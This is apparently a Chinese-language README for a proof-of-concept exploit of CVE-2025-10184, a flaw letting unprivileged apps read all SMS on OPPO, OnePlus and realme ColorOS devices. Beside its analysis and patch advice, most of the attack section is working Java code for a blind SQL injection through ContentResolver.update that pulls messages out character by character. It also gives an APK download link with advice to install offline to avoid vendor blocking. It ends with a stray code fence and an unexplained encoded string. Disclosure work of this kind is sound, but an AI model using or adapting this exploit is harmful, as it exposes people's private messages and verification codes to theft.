ColorOS 短信数据库注入漏洞深度剖析与利用工具
本项目揭示了存在于 OPPO及其子品牌(一加、realme) 的 ColorOS 系统中的高危短信数据库注入漏洞 (CVE-2025-10184)。该漏洞允许任意应用在 无需任何权限、无需用户交互 的情况下,通过数据库注入攻击读取设备上的所有短信内容,严重威胁用户隐私安全。此仓库不仅提供了漏洞的详细分析,还包含一个用于演示和验证漏洞的概念验证(PoC)应用及核心代码解析。
功能特性
- 漏洞技术深度解析:详细说明了漏洞的类型(数据库注入
1=1 AND)、触发机制及其根本原因。 - 盲注数据导出实现:核心工具通过创新的盲注技术,逐字符还原数据库中的短信数据,而无需直接读取数据列。
- 多品牌影响范围确认:明确指出受影响的设备范围包括 OPPO、一加、realme,并追溯了漏洞可能存在的版本跨度。
- 实时修复状态追踪:项目记录了厂商的修复进度,包括特定系统补丁的推送情况(如
15.0.0.860Patch01)及手动更新方法。 - 用户防护与自救方案:提供了在补丁推送前后,普通用户可采取的风险规避策略和临时解决方案。
- 开源验证工具:提供了一个完整的 Android 应用,用户可自行编译或下载预置APK来检测设备是否存在此漏洞。
安装指南
本项目包含两部分:漏洞验证应用 和 核心代码分析。
1. 漏洞验证应用安装
对于普通用户,可以使用预编译的APK文件快速检测设备是否存在漏洞。
- 下载APK:从提供的可信源(如蓝奏云链接
https://yuuou.lanzout.com/iiQE337s6dha)下载测试应用yuu_v3.6.apk。 - 准备安装:
- 确保设备已开启“允许安装未知来源应用”的选项。
- 安全建议:为排除厂商的包名拦截,建议在 断网(开启飞行模式) 状态下进行安装。
- 安装与测试:
- 安装下载的APK文件。
- 打开应用,如果界面成功显示短信内容,则代表当前设备存在此漏洞。
- 注意:此测试应用无联网功能,验证完毕后请及时卸载。
2. 开发者环境搭建
如需编译或分析源码,请确保您的开发环境满足以下条件:
- Android Studio:最新稳定版。
- SDK:Android 5.0 (API 21) 或更高版本。
- 依赖项:项目依赖于
jsqlparser库用于SQL语法解析。请确保在build.gradle文件中包含以下依赖:dependencies { implementation 'net.sf.jsqlparser:jsqlparser:4.7' // 或更高版本 // ... 其他依赖 }
使用说明
该项目主要包含一个 MainActivity,它通过经典的“盲注”(Blind SQL Injection)手法,一步步将数据库中的数据导出到屏幕上。
基础使用示例
- 启动应用:在存在漏洞的设备上安装并打开应用。
- 输入查询语句:在界面上的输入框中,输入您想查询的 SQL 语句,例如获取所有短信:
或者获取表结构信息:SELECT * FROM sms;SELECT sql FROM sqlite_master WHERE type='table'; - 触发导出:点击“触发盲注导出”(
triggerSqliBtn)按钮。 - 查看结果:应用将开始在后台执行盲注攻击,并将恢复出的数据行实时显示在可滚动的文本框(
queryLogTxt)中。
核心代码解析
1. SQL 注入核心:盲注(Blind SQL Injection)
由于系统Content Provider不会直接返回查询的数据集,而是返回受影响的行数或在特定条件下抛出异常,因此工具采用了二分法盲注技术逐字符提取数据。
2. 查询解析与改写 (QueryParser.java)
QueryParser 类负责解析用户输入的原始 SELECT 语句,并将其改写成适合盲注的形式。
// QueryParser.java 核心片段 - 解析并改写 SELECT 为单列拼接
public class QueryParser {
// ... 使用 JSQLParser 解析 SQL
public String buildInjectionQuery(String originalQuery) {
// 1. 解析原始 SELECT 语句
Select select = (Select) CCJSqlParserUtil.parse(originalQuery);
PlainSelect plainSelect = (PlainSelect) select.getSelectBody();
// 2. 获取原始查询的字段列表,如果没有指定(如 SELECT *),则从 sqlite_master 反解析表结构获取字段
// ... (省略获取列的复杂逻辑) ...
// 3. 关键步骤:将多列查询改写为单列拼接查询
// 例如将 "SELECT address, body FROM sms" 改写为
// "SELECT address || '!!' || body AS combined_row FROM sms"
// 这样每一行数据都变成了一个长字符串,各列用 "!!" 分隔
List<String> columnNames = getColumnList(plainSelect);
StringBuilder combinedColumns = new StringBuilder();
for (int i = 0; i < columnNames.size(); i++) {
if (i > 0) {
combinedColumns.append(" || '").append(ROW_CONCAT_DELIM).append("' || ");
}
combinedColumns.append(columnNames.get(i));
}
// 构造新的内部查询
String innerQuery = "SELECT " + combinedColumns.toString() + " AS combined_row FROM (" + originalQuery + ")";
return innerQuery;
}
}
3. 盲注数据提取 (MainActivity - 核心逻辑)
MainActivity 包含了通过 ContentResolver 执行注入和二分法提取数据的完整逻辑。
// MainActivity 核心片段 - 二分法盲注提取单行数据
// 假设已通过 COUNT(*) 确定了总行数,现在要提取第 N 行 (OFFSET N-1)
private void extractRowByBinarySearch(Uri uri, String baseWhere, int rowIndex) {
String targetRowQuery = originalQuery + " LIMIT 1 OFFSET " + rowIndex; // 定位到特定行
String combinedRowQuery = "SELECT combined_row FROM (" + targetRowQuery + ")"; // 使用改写后的查询获取拼接串
StringBuilder rowStringBuilder = new StringBuilder();
// 对每个字符的位置进行循环
for (int pos = 1; ; pos++) {
int low = 0x20; // 空格
int high = 0x7E; // 可打印字符范围 '~'
// 二分查找字符的 ASCII 码
while (low < high) {
int mid = (low + high) / 2;
// 构造 WHERE 子句,判断当前字符的 ASCII 码是否在 [low, mid] 区间
// 例如: WHERE unicode(substr(combined_row, pos, 1)) BETWEEN low AND mid
String whereClause = String.format(Locale.US,
"unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
combinedRowQuery, pos, low, mid
);
ContentValues values = new ContentValues();
values.put("data1", "dummy"); // 触发更新的数据
try {
// 核心注入点:执行 UPDATE 操作,通过 WHERE 子句进行 SQL 注入判断
// 如果条件为真,则会更新某行(或约束异常返回 >0),否则返回 0
int count = getContentResolver().update(uri, values, "1=1 AND (" + whereClause + ")", null);
if (count > 0) {
high = mid; // 字符在当前区间内,缩小范围
} else {
low = mid + 1; // 字符不在当前区间,提高下限
}
} catch (Exception e) {
// 某些情况下,数据库可能通过约束异常来返回“真”的结果,需要根据实际情况调整
Log.d(TAG, "Update exception, treat as 'true' condition", e);
high = mid;
}
}
char currentChar = (char) low;
if (currentChar == '\0') { // 假设字符串结束符
break;
}
rowStringBuilder.append(currentChar);
}
// 得到一个完整的行字符串,例如 "1234567890!!这是短信内容"
String fullRow = rowStringBuilder.toString();
// 按 "!!" 分隔,还原成各列
String[] columns = fullRow.split(ROW_CONCAT_DELIM, -1);
// ... 将 columns 记录到 UI 或日志中
}
```FINISHED
6HFtX5dABrKlqXeO5PUv/y7Qop7lbYYKGD10fyA+KyQ2qlyHLVnXNDBEZ+UO+7nt